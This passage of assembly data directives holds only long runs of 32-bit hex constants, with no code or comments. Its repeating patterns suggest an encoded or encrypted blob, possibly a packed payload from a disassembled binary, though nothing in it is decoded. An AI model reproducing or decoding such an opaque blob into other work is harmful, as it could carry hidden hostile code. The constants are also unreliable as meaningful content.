		dd 4530ED94h, 0ADA351C6h, 2424B31Ch, 0AF0DF474h, 2A421832h
		dd 6630BA1Ah, 6BF83215h, 47883215h, 3CC40D13h, 9672259Ah
		dd 99332084h, 0B64B5AECh, 624D233h, 72CBF89Eh, 69113215h
		dd 58DFE7E0h, 8D59CCEAh, 0D766B119h, 2A376AC7h,	705E682h
		dd 7BF1CD74h, 9A241836h, 5DAEB798h, 9974343Fh, 6641DBC5h
		dd 46253215h, 0EFC0082Ah, 573EA490h, 0E7225213h, 3011CACEh
		dd 6611BF1Ah, 7D13215h,	6683DBE9h, 0E42D3215h, 66113207h
		dd 66883FFCh, 6987C415h, 84843ABCh, 5884CD4h, 0E34E7BA2h
		dd 606E15DCh, 6BA53D47h, 8F113215h, 6688321Dh, 0AC49A7DFh
		dd 100B162Ah, 661122FCh, 0CF86A615h, 0A910214Ch, 995E4193h
		dd 919D87B9h, 82855A24h, 99BD8E5Fh, 4C019FA0h, 0E39CCB13h
		dd 60A209AAh, 6643BA1Ah, 0E22D3215h, 66113214h,	6958CDEDh
		dd 6644359Bh, 67AF3D15h, 9A113215h, 0D01AB79Ch,	0A0B13424h
		dd 4C05FB90h, 0EC1E6013h, 66883214h, 2C0C5AECh,	77CB9459h
		dd 15113215h, 0BD08F4E7h, 258DFEDBh, 0B914804Eh, 42177627h
		dd 452587EAh, 63AD343Fh, 77223215h, 0A857EB35h,	5D37B798h
		dd 99BC343Fh, 0E3ABCAC5h, 60208483h, 0AF0DF4E0h, 34421832h
		dd 6631B31Ah, 8F713215h, 6688321Ch, 0CCA3DB08h,	794224CBh
		dd 0A09A54E3h, 0D2625A74h, 8F24CF57h, 66223213h, 50861CDCh
		dd 0D8EE75BFh, 9925491Dh, 4C012FA0h, 8F905213h,	0EA3DFC1h
		dd 7BAE895h, 5D9DB798h,	69E8343Fh, 66883A9Ah, 64C13D15h
		dd 6223215h, 6C1CD74h, 8E46851Ah, 66443210h, 0ABCAC204h
		dd 93DEB2BCh, 0E301534Bh, 606E1A0Ch, 662237FCh,	6D170715h
		dd 0E34E3861h, 606E15DCh, 6628DB62h, 9AF03215h,	448F2021h
		dd 0D1379D37h, 0F18A917Dh, 0E77752E6h, 6E359E3h, 664421FCh
		dd 2979AC15h, 0AA61E57Ch, 51EF615Eh, 0F15CF879h, 42B43E65h
		dd 0D3EE5374h, 60A20158h, 6641B81Ah, 9E423215h,	0EB706A45h
		dd 4CB38D90h, 6642DB13h, 0C4AC3215h, 0D4E98267h, 6689B61Ah
		dd 99B83215h, 67A73DC5h, 9A113215h, 668838FCh, 0EA55D615h
		dd 7B6DFD86h, 0EF3C8AA7h, 4C974390h, 67C63D13h,	9E223215h
		dd 41D8B7D3h, 6DA343Fh,	2A9E2FACh, 60AC3D7Ch, 69113215h
		dd 6688329Bh, 0E6245315h, 0E4346D4h, 0ECCC0302h, 7B3DCDE9h
		dd 69421836h, 6622219Bh, 661FDB15h, 4D613215h, 10A43CB8h
		dd 0FF0A0430h, 7FF4CBF0h, 5D37B798h, 24343Fh, 583BD594h
		dd 0B6EE53E9h, 72616075h, 56443215h, 0A671E448h, 0EABEC71Ch
		dd 64121F44h, 8E888D11h, 39395F1Ch, 75FE395h, 66883AFCh
		dd 0F877DD15h, 7B8C5C13h, 0FB94BB4Eh, 68E181Ch,	664421FDh
		dd 44F72C15h, 0B6477BCDh, 31C607BDh, 0D6808024h, 3E22D4Fh
		dd 66113BFCh, 0ABE3315h, 0CC623CAEh, 697C2082h,	6611349Fh
		dd 66043D15h, 7443215h,	41EBB7D3h, 6947343Fh, 66883C93h
		dd 664DDB15h, 0A5E03215h, 0E54D0EEEh, 6FD6481h,	69ADEB9Eh
		dd 70223215h, 0B6BAEAF1h, 613BCA82h, 8137ED68h,	0E439751h
		dd 0B20E5F2Ch, 60093D75h, 0E7443215h, 525D67DBh, 0D3EE5332h
		dd 60A210DCh, 664CB51Ah, 0E02D3215h, 66113217h,	0E3055375h
		dd 6069B3BCh, 662BB11Ah, 69713215h, 66883291h, 9925CA15h
		dd 47A13DC5h, 6113215h,	668826FCh, 91362115h, 4CDFA452h
		dd 87B72B18h, 70272D5Ah, 0A5DAD412h, 66A73D22h,	7113215h
		dd 422DB79Ch, 9A24343Fh, 77CB53EDh, 28113215h, 83346BADh
		dd 0C9B358BBh, 0E1CE4ABh, 2490645Dh, 4141B7D3h,	6903343Fh
		dd 66223F95h, 6619DB15h, 0F6643215h, 83638212h,	1C4AC3B2h
		dd 9F90EE05h, 459587EAh, 0E24B343Fh, 6622321Dh,	6613B91Ah
		dd 7E83215h, 5DFBB798h,	99D7343Fh, 6617DBC5h, 7AAA3215h
		dd 7E414EB4h, 6E4FB79Ch, 6971343Fh, 66883496h, 66C13D15h
		dd 8F223215h, 6611321Eh
		dd 89313496h, 2D269B4Ch, 7BE448Ch, 41D8B7D3h, 6CF343Fh
		dd 0E722A9A5h, 70B8BD5h, 69A4D07Dh, 0E687529Fh,	66443213h
		dd 6622BD1Ah, 0EC1E3215h, 66883217h, 6925EA9Eh,	6622239Fh
		dd 661DDB15h, 0D0CA3215h, 2ADF44EBh, 996AB56Fh,	0D3EED68Dh
		dd 60A21108h, 0E04B6075h, 66223215h, 989A544Eh,	0D90DBF74h
		dd 6942182Eh, 6622269Bh, 661EDB15h, 493A3215h, 26FCDD87h
		dd 1310A467h, 7D2CE8DCh, 6958CD4Ah, 66443D91h, 6628DB15h
		dd 702D3215h, 527DDED3h, 0E7FB1D40h, 0D0A7BBE0h, 61703A3h
		dd 0E657851Ah, 0A125CAC8h, 4C3A5790h, 66114A13h, 0A3025215h
		dd 78BB973h, 7E738F96h,	6911343Fh, 66915991h, 0E382CE15h
		dd 600815DCh, 69E85259h, 66882095h, 6649DB15h, 49BD3215h
		dd 995169CCh, 3A910155h, 721EA5Bh, 0BC3EDB7Dh, 6601DBCCh
		dd 47A63215h, 2533199h,	71029D0Ch, 0B0D1A82Eh, 0D377378Dh
		dd 606E1108h, 6629BB1Ah, 60F83215h, 9F883215h, 1707CD2Ch
		dd 0D9A7BF1Bh, 617182Eh, 99E9E49Eh, 92FD52C5h, 69400850h
		dd 66113499h, 66053D15h, 7443215h, 0D080B79Ch, 72F83424h
		dd 0DE883215h, 54DAB565h, 3A34D098h, 7C142468h,	38E70D2Eh
		dd 9F4AB8E6h, 41EBB7D3h, 8F5D343Fh, 6688321Ah, 2DB0735Eh
		dd 61429C2Eh, 1510D955h, 61FF274h, 6BACC29Eh, 0FC223215h
		dd 4CF029BAh, 5550EEECh, 0FB26A184h, 662220FDh,	7D60B415h
		dd 0BBB18546h, 790C95A3h, 27A4BF3Bh, 39C3E1FCh,	0A8E0534Ah
		dd 699946CBh, 66223393h, 0D3EECE15h, 60A21108h,	0D9C1BFECh
		dd 9324182Eh, 0E21EE2EAh, 6688321Bh, 66443BFCh,	0FB2FD415h
		dd 0F6AF535Ch, 0E301622Ch, 607584B3h, 0AFA7F4E9h, 2A171832h
		dd 669FB61Ah, 0ED4B3215h, 66223204h, 66113EFCh,	6A142C15h
		dd 0CBCE2277h, 0BF9751A2h, 72F85294h, 0F5883215h, 0DAE1C075h
		dd 0EDC468A4h, 8C75E070h, 0FD999F01h, 9E4B6A74h, 0E41D5A74h
		dd 99E88594h, 4CAB2FA0h, 6657DB13h, 0AFEE3215h,	50A36956h
		dd 60CC00CAh, 0FF16F431h, 48B7C7DAh, 0D994BF7Eh, 68E182Eh
		dd 664439FDh, 7A7F7415h, 0A21E9ADFh, 0D074C2Ah,	4F52FD94h
		dd 697A334Ah, 66113095h, 7E95215h, 0D424E2EAh, 0E3AB538Eh
		dd 602084BFh, 6BF18975h, 69154F0Bh, 66223295h, 0A0706A15h
		dd 4CAFFB90h, 6AAD7E13h, 0ED223215h, 0F7EF19D1h, 24B4F3A5h
		dd 0ED8FF38h, 0D50D720Dh, 7BA4CDE9h, 9E8E1836h,	664423FCh
		dd 25FF8615h, 10B1549Ah, 0B308B2F0h, 0AAEFB6A1h, 0E3AF4FA1h
		dd 603B09AAh, 6680BA1Ah, 243215h, 6E5A3AEh, 0B6EE5374h
		dd 75FB875h, 0D0EEB79Ch, 0A0DA3424h, 4C36FB90h,	0D9E87413h
		dd 41CA5EB9h, 60365A74h, 6EF888CBh, 0EF883215h,	84CA1335h
		dd 991F0D8Ch, 4C322FA0h, 61043D13h, 6443215h, 1FCDDADh
		dd 0E39C5303h, 60A209AAh, 6645B11Ah, 99DA3215h,	0E398CEC5h
		dd 60B984A7h, 664437FCh, 0E4BD4715h, 0E3D75170h, 60A215DCh
		dd 79C73D52h, 69223215h, 66112B9Eh, 669CDB15h, 0CE133215h
		dd 0F6347C67h, 0A1F99814h, 0FCDFA33Ah, 7A6F0071h, 1C4A724Dh
		dd 690EE05h, 669ADA75h,	5FF53215h, 0D592E112h, 0FE7E1BCAh
		dd 195FFC21h, 0E963A895h, 46128D4Ch, 703A5Dh, 99E9C09Eh
		dd 4C672FA0h, 0E3AFC713h, 603B09AAh, 658CDECh, 664426FCh
		dd 30F89A15h, 83D51F36h, 0A0ED0533h, 0BAFC6964h, 0E5B192FCh
		dd 27D8B3A8h, 7858B36h,	0D0FEB79Ch, 0A0DA3424h,	4C36FB90h
		dd 6F617513h, 0BA443215h, 427C54B0h, 0B1E01ACBh, 0E1069E7Dh
		dd 6643DBFAh, 9F693215h, 4B6FDF46h, 6698DB64h, 0A78F3215h
		dd 3E10B910h, 1926C213h, 34083535h, 0D3BB79D6h,	60081108h
		dd 6602BE1Ah, 8FE83215h, 66443219h, 4900908Bh, 0C97C6797h
		dd 0DD6C3521h, 0D9C1BF74h, 8F24182Eh, 6611321Ch, 0C472D2B7h
		dd 619596B3h, 9AF2CD6Eh, 7CDFB275h, 7E9EC95h, 0D0FAB79Ch
		dd 0A0D73424h, 4C36FB90h, 0E6E87513h, 0D14B7DE7h, 0B44A53CFh
		dd 6C5A8B2h, 668834FCh,	13580415h, 8FB8C206h, 66113210h
		dd 0BFDA345Fh, 0EC4B53B5h, 66223219h, 6617B31Ah, 0E5873215h
		dd 66443215h, 453F87EAh, 74F8343Fh, 8B883215h, 53E008CDh
		dd 7A1035B7h, 0FCF89484h, 4C70CAD3h, 0D9C1BF2Fh, 624182Eh
		dd 6606B21Ah, 74613215h, 4443215h, 0ED8C86B2h, 1B688E38h
		dd 91B56CC4h, 62AF674Dh, 0B49D3DD3h, 6C1CD74h, 668837FDh
		dd 8423EA15h, 0E32D392Dh, 66113215h, 669CDB4Eh,	33C63215h
		dd 61169D78h, 99D789F1h, 0B6B0A3A3h, 0C7C6716Fh, 8F430B3Fh
		dd 66113210h, 99E0A907h, 0A4C1BBEDh, 62403A3h, 0E741EB95h
		dd 0D1957EFCh, 36245340h, 6622BC1Ah, 8F4A3215h,	6688321Ch
		dd 0F150766Dh, 516472D9h, 0E3D75390h, 60A215DCh, 61CB3D52h
		dd 69223215h, 6611339Bh, 62E0CB15h, 6FEF32Ch, 0F5B973h
		dd 76526AEh, 459587EAh,	8E24343Fh, 6622321Ch, 0DE5AB174h
		dd 76B2AEB9h, 74FD8AA7h, 0EC7852E9h, 0E39C53FDh, 60A209AAh
		dd 664437FCh, 0B75D9C15h, 0EF1EF77Dh, 66883218h, 66443AFCh
		dd 8F17E715h, 0F54B1E9Ah, 8F58CD68h, 6644321Fh,	59B06DE1h
		dd 32B821A9h, 0D3E87888h, 6655DB2Dh, 18C73215h,	0DE62B0C0h
		dd 0EAF8F11h, 9C82CEDEh, 738CA5Dh, 0D0D7B79Ch, 0EF873424h
		dd 66443214h, 0E39FB1EDh, 66171833h, 66F4B71Ah,	0E54B3215h
		dd 6622321Dh, 6613BA1Ah, 7E83215h, 0A790B275h, 0A043FCA2h
		dd 4C36FB90h, 0E707513h, 86361F72h, 61AF3DEDh, 69113215h
		dd 66883396h, 0D3BBCA15h, 60081108h, 60943D75h,	69883215h
		dd 6644329Eh, 0A9953D15h, 0D994BF74h, 68E182Eh,	0E69C8D1Ah
		dd 994350C2h, 0D87752C5h, 0EFE9F5E5h, 57F2F890h, 75CBCB13h
		dd 0BC113215h, 5122F4B9h, 0D2216F2Ch, 44263501h, 0D1D6F2A4h
		dd 0E34E4988h, 606E15DCh, 662CDB52h, 0B15E3215h, 67B861D3h
		dd 88167F5Fh, 298A025h,	4FA2837Dh, 6680DB9Bh, 871C3215h
		dd 26D8BCDCh, 71C9B1h, 0FB5CF194h, 5543FA94h, 9943411Fh
		dd 4C322FA0h, 6680DB13h, 84A3215h, 6B6FF5F3h, 0EBE91367h
		dd 4CB38D90h, 0B6BBCB13h, 9CA95475h, 0EF70EA9Eh, 573EFC90h
		dd 6ACF3D13h, 69223215h, 66113493h, 66073D15h, 0A0443215h
		dd 4C05FB90h, 9AED7113h, 10C2957Dh, 6643DBD5h, 92233215h
		dd 71D7919Eh, 668FDB44h, 72FE3215h, 0D1ABE2E8h,	7BA4CD0Ah
		dd 8F8E1836h, 66443213h, 0A1C621FCh, 0E39C7CFEh, 60A209AAh
		dd 65C13D75h, 69223215h, 989AF2A2h, 63615274h, 67443215h
		dd 8818286Fh, 6617B91Ah, 0E4873215h, 66443215h,	69F2CD74h
		dd 66112E9Eh, 70003D15h, 8F443215h, 66223204h, 8733889h
		dd 0C5988347h, 80370260h, 7EDE9727h, 0B494BB1Ch, 698E03A3h
		dd 6644339Ah, 0E3E4CB15h, 603B15DCh, 668FDB59h,	0FA233215h
		dd 11F955F2h, 0AFA5A7Ch, 9974C973h, 4C777FA0h, 79AD3D13h
		dd 6113215h, 6688B11Ah,	74AD3215h, 1C223215h, 5B88A24Bh
		dd 839AA08Dh, 0D12BBCB1h, 6A4797A0h, 0E39C53E0h, 60A209AAh
		dd 664CB91Ah, 0EC2D3215h, 66113217h, 997D5375h,	67CE3DC5h
		dd 9A223215h, 0BEE3B375h, 8F9DE040h, 66443218h,	0F29A51D9h
		dd 249CA020h, 8B19B701h, 0E3CD53F1h, 60138573h,	66113AFCh
		dd 6AF92315h, 0F5B53EB4h, 0AFA7F4D7h, 22171832h, 669DBE1Ah
		dd 243215h, 0DB81D594h,	66113AFDh, 0E3630615h, 0E0BB64DBh
		dd 0E436D36h, 0DD62BC40h
		dd 6682B31Ah, 63AD3215h, 73223215h, 0B0B4FE7Fh,	0EC875275h
		dd 66443215h, 0DC43CE9Fh, 0D75F2EBh, 7B3DCD74h,	6421836h
		dd 69E3B973h, 66113698h, 3A305415h, 9A2453AEh, 6620BA1Ah
		dd 0ABA53215h, 0D90DBF74h, 6942182Eh, 66223E95h, 60903D15h
		dd 69883215h, 66443290h, 8FF2CD15h, 66113201h, 39815895h
		dd 0A3DD7AC4h, 4D754AB8h, 24B100D6h, 0BBE7E63Ch, 0B0C1BBECh
		dd 9F2403A3h, 6603B81Ah, 6B613215h, 0FA443215h,	4E6D8683h
		dd 84129BDDh, 3A05EE69h, 418DB7D3h, 6961343Fh, 6611349Ah
		dd 8D025215h, 0E25C09Eh, 0DAAC5CE9h, 661DBA1Ah,	0E3873215h
		dd 66443213h, 6622B11Ah, 0D3EE3215h, 60A21108h,	66443EFCh
		dd 70047015h, 0A62C46Dh, 0B8EE17F3h, 0D9C1BF6Fh, 8F24182Eh
		dd 6611321Bh, 917E2690h, 0B17C2CFEh, 732FDCACh,	0B6EE6130h
		dd 668837FCh, 0BE26F15h, 0E3AB2997h, 602084CFh,	668835FCh
		dd 0F196715h, 0B83C2B00h, 41D8B7D3h, 8FDB343Fh,	6644321Eh
		dd 226B14EAh, 0A7CF9D02h, 0EFB69B7h, 0A0540CBFh, 662AB41Ah
		dd 69713215h, 66883291h, 0D3BB5315h, 60081108h,	0D994BFE0h
		dd 8F8E182Eh, 6644321Fh, 89D3628Bh, 65A67FB4h, 0B6770685h
		dd 0B8C1BBECh, 692403A3h, 66112992h, 730D3D15h,	8F443215h
		dd 66223205h, 29F1CF71h, 0F179DAB1h, 353739F6h,	0AF273DDAh
		dd 47CC8F96h, 6988343Fh, 6647BC91h, 0A8915215h,	6612B01Ah
		dd 0EDEE3215h, 0E38253DEh, 600815DCh, 6600DB53h, 78333215h
		dd 84DF0E5Dh, 66029031h, 0A54D4E77h, 69AA9CF8h,	66442695h
		dd 662DDB15h, 0F49D3215h, 10C18A4Bh, 4CB2A3D9h,	0B014E9DDh
		dd 0A8205A13h, 6B61C883h, 56443215h, 0DA2EE419h, 0D9C1D1BBh
		dd 8508CC2Dh, 455987EAh, 8FD7343Fh, 66113204h, 285A650Ch
		dd 1593E0A3h, 6553E6Ah,	8B40FEA3h, 0D90DBFB1h, 642182Eh
		dd 8AE1B373h, 65903D35h, 0E6883215h, 9925D4D6h,	0E3ABC7C5h
		dd 6020852Fh, 66883EFCh, 11AEAB15h, 43C6EBCBh, 0E25BDCD9h
		dd 0AF0DF4E4h, 20421832h, 6636B01Ah, 0E01E3215h, 6688321Bh
		dd 66443BFCh, 9982D15h,	90F52636h, 0ECE83412h, 7FA5B3D2h
		dd 73BE6C0h, 0C12BE47Dh, 8F7052E9h, 66443205h, 0F77F7F82h
		dd 2A2E5080h, 0FB8BC04Bh, 0EBB1853Ah, 7B97CD74h, 8F171836h
		dd 6688321Fh, 528987FAh, 2C9A3BF8h, 0E39CF3BBh,	60A209AAh
		dd 0BEFD5475h, 7E3B8DEh, 0EFE4E2EAh, 573F7890h,	6CAC5213h
		dd 10223215h, 8D756B45h, 6585F680h, 664DDB73h, 0AA333215h
		dd 945EACAFh, 3DD489BFh, 0AFC1F474h, 20241832h,	9FA63D75h
		dd 66883AFCh, 97101F15h, 0EDD1273Eh, 667953A5h,	9E1ACEB1h
		dd 7BF1CDE9h, 6241836h,	0EB709FA4h, 4CB38D90h, 664ADB13h
		dd 0B91B3215h, 54094D0Ah, 4F2E6322h, 0A5A5E045h, 90A35475h
		dd 9371C45Ch, 77AB973h,	8F94CD74h, 66223212h, 0C2993C10h
		dd 0EFB51D16h, 57F37C90h, 61A83D13h, 6113215h, 0EDEEE4A6h
		dd 6EAD53CAh, 2223215h,	7251B8D0h, 0A0A36D16h, 4C63FB90h
		dd 0EC427413h, 0C7953C5h, 697EE65Ah, 66442895h,	72AB3D15h
		dd 8F113215h, 6688321Ah, 0C68BAC2Fh, 0E38F722Ch, 0BC026505h
		dd 99974C5Ah, 4C672FA0h, 0E3AFCA13h, 603B09AAh,	0BF095275h
		dd 26585D02h, 66223DFDh, 86B35615h, 0C22E90EFh,	0D43F35C4h
		dd 0A3111E03h, 0DF77534Fh, 99E9091Dh, 0E3CDCAC5h, 60138547h
		dd 0AF94F4EDh, 208E1832h, 664437FCh, 0F33D915h,	817914E4h
		dd 931CFF45h, 455987EAh, 3642343Fh, 1A9524Dh, 0DB261Bh
		dd 725F59Eh, 5D9DB798h,	99E9343Fh, 67093DC5h, 93443215h
		dd 663BBA1Ah, 72F83215h, 68883215h, 79092BF7h, 774CA188h
		dd 96015A43h, 623589C4h, 0EF1F2035h, 57950C90h,	63983D13h
		dd 6883215h, 7BD851Ah, 41EBB7D3h, 8F57343Fh, 66883212h
		dd 0A8314B91h, 0EA41753h, 0D733462Eh, 7B3DCDE0h, 8F421836h
		dd 6622321Eh, 70334139h, 28DBB689h, 0EBE14190h,	4C198D90h
		dd 6425213h, 61606D74h,	0A1443215h, 9F35CCACh, 3FE8CA52h
		dd 9A58CD74h, 0D106B79Ch, 69423424h, 66113297h,	669ADB15h
		dd 0BF943215h, 0FF4085C3h, 933579AAh, 21AA3849h, 0E3553D8Eh
		dd 6627DB74h, 71953215h, 0A0EC05FAh, 4C63FB90h,	0E62D7413h
		dd 66113207h, 668DDB75h, 709D3215h, 0E77C42ECh,	31BC02DBh
		dd 8BE05363h, 69B4BFFh,	7B97CD74h, 6171836h, 669BDB75h
		dd 5F953215h, 568F7F72h, 3744ECCEh, 0D3AA12A1h,	93D0CA37h
		dd 74F8259h, 66113DFCh,	0C26A2915h, 7AA72888h, 8C8FBD45h
		dd 56310056h, 0E305CA74h, 606E09AAh, 69F2CDEDh,	66113594h
		dd 67093D15h, 93443215h, 0D164B79Ch, 713424h, 0DDEEF99Eh
		dd 0E5252DF6h, 4C04B7A8h, 0E31E3213h, 6688326Bh, 95B3B375h
		dd 76320D1h, 0AF94F4ECh, 358E1832h, 6645B51Ah, 0EDB3215h
		dd 0A8AFD24Bh, 668837FCh, 19D70E15h, 0D3DD6079h, 603B1108h
		dd 66883FFCh, 9A88C115h, 33DFD1E4h, 7C65A9EBh, 0E305A1A1h
		dd 606E09AAh, 662BBA1Ah, 713215h, 6B89E294h, 69256843h
		dd 66223A95h, 64943D15h, 6883215h, 694CD74h, 0D38D1Ah
		dd 0A4BE494h, 840DBB74h, 64203A3h, 9BF39CACh, 54AA546Ch
		dd 0E34E53EBh, 606E15DCh, 662ADB52h, 0B9E93215h, 1F283DD1h
		dd 0E724F14Ch, 27F841D6h, 0A990547Bh, 0EE967F2h, 0A1F56C92h
		dd 27C5B375h, 9E2213ECh, 7B3DCD74h, 69421836h, 66223398h
		dd 0E39CCB15h, 60A209AAh, 0A9CF5475h, 662234FCh, 0D6828D15h
		dd 74286E6h, 77ADE2EAh,	0E8223215h, 364A7B02h, 6D1C3421h
		dd 0AE7DEA27h, 29314815h, 0D0F7B79Ch, 0E5703424h, 4C62B7A8h
		dd 0E32D3213h, 6611322Fh, 6689B61Ah, 0A0BD3215h, 4C05FB90h
		dd 0EE97513h, 80EA4C10h, 6645BF1Ah, 9FDB3215h, 450C87EAh
		dd 0EB74343Fh, 4C7F8D90h, 0B6DDC713h, 6610BE1Ah, 0EF703215h
		dd 57F2D890h, 0E3E4CB13h, 603B15DCh, 7A023D56h,	69443215h
		dd 66222496h, 6600DB15h, 586C3215h, 0C1B4247Bh,	3B534247h
		dd 0D947BC38h, 6DBB77Bh, 76AD3AA5h, 5B223215h, 0BBBE1EC7h
		dd 0BF127809h, 568F0E0Dh, 7B2E59Ch, 1C18C47Dh, 720B3D87h
		dd 69443215h, 66223C96h, 6618DB15h, 977A3215h, 0AFCB9E8Ch
		dd 999147A9h, 4C322FA0h, 669BDB13h, 69773215h, 2D88D08Ch
		dd 0EBB8C8F4h, 0FED7C8D2h, 0DC9E0651h, 0D9A7BF89h, 617182Eh
		dd 0D5778D1Ah, 68AD53C6h, 0CB223215h, 766ED531h, 6342E154h
		dd 0F3565053h, 6F2CD70h, 0B8FCB2EDh, 0E301C774h, 607584FBh
		dd 6623B51Ah, 0A0ED3215h, 4CAFFB90h, 0EBD7113h,	9A03A535h
		dd 8F43CA75h, 66883219h, 0BA340B6h, 1AEC792Ch, 47F409Dh
		dd 0D377534Dh, 606E1108h, 0A6A35475h, 9C9AF143h, 0E305CB74h
		dd 606E09AAh, 6623B61Ah, 99E43215h, 0E301CEC5h,	607584E7h
		dd 6623B21Ah, 6E93215h,	669ADA75h, 558F3215h, 199DDF2Fh
		dd 0AD0E79EDh, 57071680h, 5659A7CFh, 79E874Eh, 0E3ACB174h
		dd 668E1833h, 66B8B71Ah, 60CB3215h, 1D113215h, 52ADEE01h
		dd 0AFC1F490h, 25241832h, 3D406075h, 65E0534Fh,	6CF32BDh
		dd 1BAB85AEh, 0D3EE5312h, 60A21108h, 66443EFCh,	0FD07BF15h
		dd 81D0AFC0h, 5F1C8E27h, 0D9C1BF59h, 624182Eh, 8FEBB973h
		dd 66883204h, 40FBECF0h, 6BAA0F9Ch, 73D8146Ah, 0BAED07ECh
		dd 0B6BB5391h, 662238FCh, 0A27D8B15h, 81BFDA2Fh, 60F0E8Dh
		dd 6636B31Ah, 69F83215h
		dd 0A2883215h, 0E4ED8BBDh, 837220EAh, 0B2C3C7EFh, 0EFE9F84Bh
		dd 57F2C890h, 0E3E4C713h, 603B15DCh, 0D9875256h, 9FFB3DDEh
		dd 50F75A74h, 72F8D74Eh, 20883215h, 0B5B490C1h,	0ED188BDEh
		dd 0CFF47B2Ch, 0E7DAAF3h, 995E25DCh, 4C012FA0h,	6605DB13h
		dd 4A263215h, 0AFE69D7Eh, 77F394DCh, 6CA42842h,	8F469C94h
		dd 0EBBD4C27h, 4C198D90h, 0D11E5213h, 0EE8752D5h, 66443215h
		dd 743E29Eh, 0EFE4E2EAh, 573EC490h, 0E382CB13h,	600815DCh
		dd 61F95256h, 9D883215h, 69AB8D48h, 3B97B730h, 7EBB84Ch
		dd 0CCBAD37Dh, 61C83DFFh, 69223215h, 66113395h,	0D377CA15h
		dd 606E1108h, 6637B11Ah, 76F83215h, 1A883215h, 0F58081D2h
		dd 0DB91DC32h, 4B71E659h, 0EBE97F66h, 4C7F8D90h, 662BDB13h
		dd 0C96B3215h, 0EF03AEEh, 99B027A7h, 6630DBC5h,	0F5FB3215h
		dd 71795A18h, 2A1B3CC7h, 366D7EEBh, 28291D8Dh, 0D076B79Ch
		dd 0A0B13424h, 4C05FB90h, 69717113h, 0EE9C8A2h,	0E2B59E22h
		dd 662222FCh, 93A43515h, 85EF0D96h, 0BE70204Eh,	4D5D5A0Eh
		dd 6A973D7Eh, 69883215h, 66443493h, 66AA3D15h, 99113215h
		dd 4CAB2FA0h, 67C23D13h, 9A223215h, 5DAEB798h, 6D61343Fh
		dd 0F3443215h, 35142C54h, 0FF5EB935h, 0B677B1B7h, 6645B71Ah
		dd 6D73215h, 37DFB973h,	6688B41Ah, 71F3215h, 0D120B79Ch
		dd 8F713424h, 66883210h, 0CB4109ADh, 60A23DADh,	69113215h
		dd 66883292h, 0E3825315h, 600815DCh, 0ED77525Ah, 0EE9CBE6h
		dd 0F171A2C1h, 6623B81Ah, 99E83215h, 4CAB2FA0h,	67C13D13h
		dd 9E223215h, 6DEB975h,	66883BFCh, 0F1B5DA15h, 355139F6h
		dd 7703DDAh, 5D37B798h,	0E14B343Fh, 66223214h, 69C1CDEDh
		dd 66883398h, 0E3CDCE15h, 60138513h, 661139FCh,	69356E15h
		dd 0EE216B96h, 252664D0h, 41D8B7D3h, 9AC7343Fh,	84A307Dh
		dd 0D3DDCBECh, 603B1108h, 0ED335475h, 0E3C95308h, 600809AAh
		dd 66113CFCh, 4578E015h, 8A2A86F2h, 9D8739C8h, 99C3CF5Bh
		dd 0E301CBC5h, 6075851Fh, 662226FCh, 6ACE8215h,	0EB008FC2h
		dd 0E4214925h, 83EBE476h, 82E73Ch, 0AF0DF4F9h, 2B421832h
		dd 662239FCh, 0A052AC15h, 0C4E93722h, 0EA2AA6AEh, 515B7B7Dh
		dd 6616DBDDh, 0FB443215h, 33FC3827h, 0EC2D525Eh, 66113219h
		dd 668835FCh, 4AD43915h, 0A5D02CF0h, 661139FCh,	7C535E15h
		dd 0AA8E1AA4h, 0F08C2B90h, 7BA4CD74h, 9A8E1836h, 5DFBB798h
		dd 99DB343Fh, 67983DC5h, 9A883215h, 0D156B79Ch,	6BCB3424h
		dd 17113215h, 9ABC6460h, 0C43FA50Ch, 744923C8h,	41D8B7D3h
		dd 6C5343Fh, 3C1D6542h,	2BAB5A74h, 0EB1EEEE2h, 66883200h
		dd 664422FCh, 0E0C92D15h, 0BFE6F692h, 0F67AFF46h, 7F949FF8h
		dd 7B97CD16h, 8F171836h, 6688321Fh, 9D4363D3h, 0B6BFB875h
		dd 0E39C2EFCh, 60A209AAh, 6650BA1Ah, 0E92D3215h, 6611321Bh
		dd 66883BFCh, 9497BB15h, 52605F73h, 0B6EEA89Dh,	6956B975h
		dd 8F25FBAAh, 66223207h, 9D0F5EFEh, 3E92A2DCh, 94C5544Bh
		dd 0DF3B289h, 0E3987E47h, 60B9851Bh, 66443AFCh,	77FD1915h
		dd 0B643F5E0h, 0AF0DF481h, 33421832h, 662222FCh, 73669515h
		dd 0F1D02B72h, 0C29CA5A5h, 15E78DC6h, 4B265A70h, 0E287AE0Eh
		dd 6644321Ch, 0EE2DCA75h, 66113215h, 7B3DCD74h,	69421836h
		dd 6622349Bh, 12A75215h, 9EE9EB9Eh, 5DFBB798h, 0EC42343Fh
		dd 0B8D3B3E1h, 7C8F2D2h, 68ADE2EAh, 7F223215h, 0A73EC5FFh
		dd 0DD495B14h, 9827D8D8h, 70A7BB8Ch, 61703A2h, 2C56B373h
		dd 0E38253BEh, 600815DCh, 6605DB56h, 93993215h,	0F29460D2h
		dd 0E4C8A78h, 0F16B8E4Dh, 3DF013B7h, 4C2CBEC4h,	6F0E7E5h
		dd 661135FDh, 0FE5B9D15h, 377FE4Dh, 6622BF1Ah, 374B3215h
		dd 277FB373h, 992569FAh, 4C012FA0h, 6602DB13h, 2B793215h
		dd 4F65E792h, 83C3AE1Ch, 60D158E4h, 0B89029BDh,	664DDBE1h
		dd 78713215h, 45A32405h, 0EB4EB93Ch, 4C7F8D90h,	0DB9C5213h
		dd 0B2995h, 7B677ACh, 60ADE2EAh, 0E9223215h, 2656E371h
		dd 7C0DBB3Eh, 64203A2h,	2331FB94h, 0A07010EDh, 4CAFFB90h
		dd 36246013h, 8C4A534Ah, 8FEC70A1h, 66883204h, 2B28A2DEh
		dd 1B8911C1h, 4F9AD0Eh,	0FE0D5701h, 0D922525Fh,	0B9A98778h
		dd 7BA4CD74h, 9A8E1836h, 5DFBB798h, 6942343Fh, 6611209Fh
		dd 6685DB15h, 9DB3215h,	1D45752Bh, 268A98C7h, 7B4A82Ah
		dd 0EFBDE2EAh, 4C0A2B90h, 0E3D7CB13h, 60A215DCh, 0E54B5252h
		dd 66223216h, 8EC3851Ah, 66883201h, 0E1C85730h,	3A7835AFh
		dd 64945554h, 0FE362B60h, 96943C48h, 3ED1B973h,	3F885A74h
		dd 0E687D08Dh, 66443237h, 6624DA75h, 8FCA3215h,	0C7A83BF0h
		dd 664ADA4Ch, 9F1C3215h, 1F39A41Dh, 3C304B84h, 19E9B082h
		dd 0D3DD534Fh, 603B1108h, 6680B01Ah, 0EC4B3215h, 66223217h
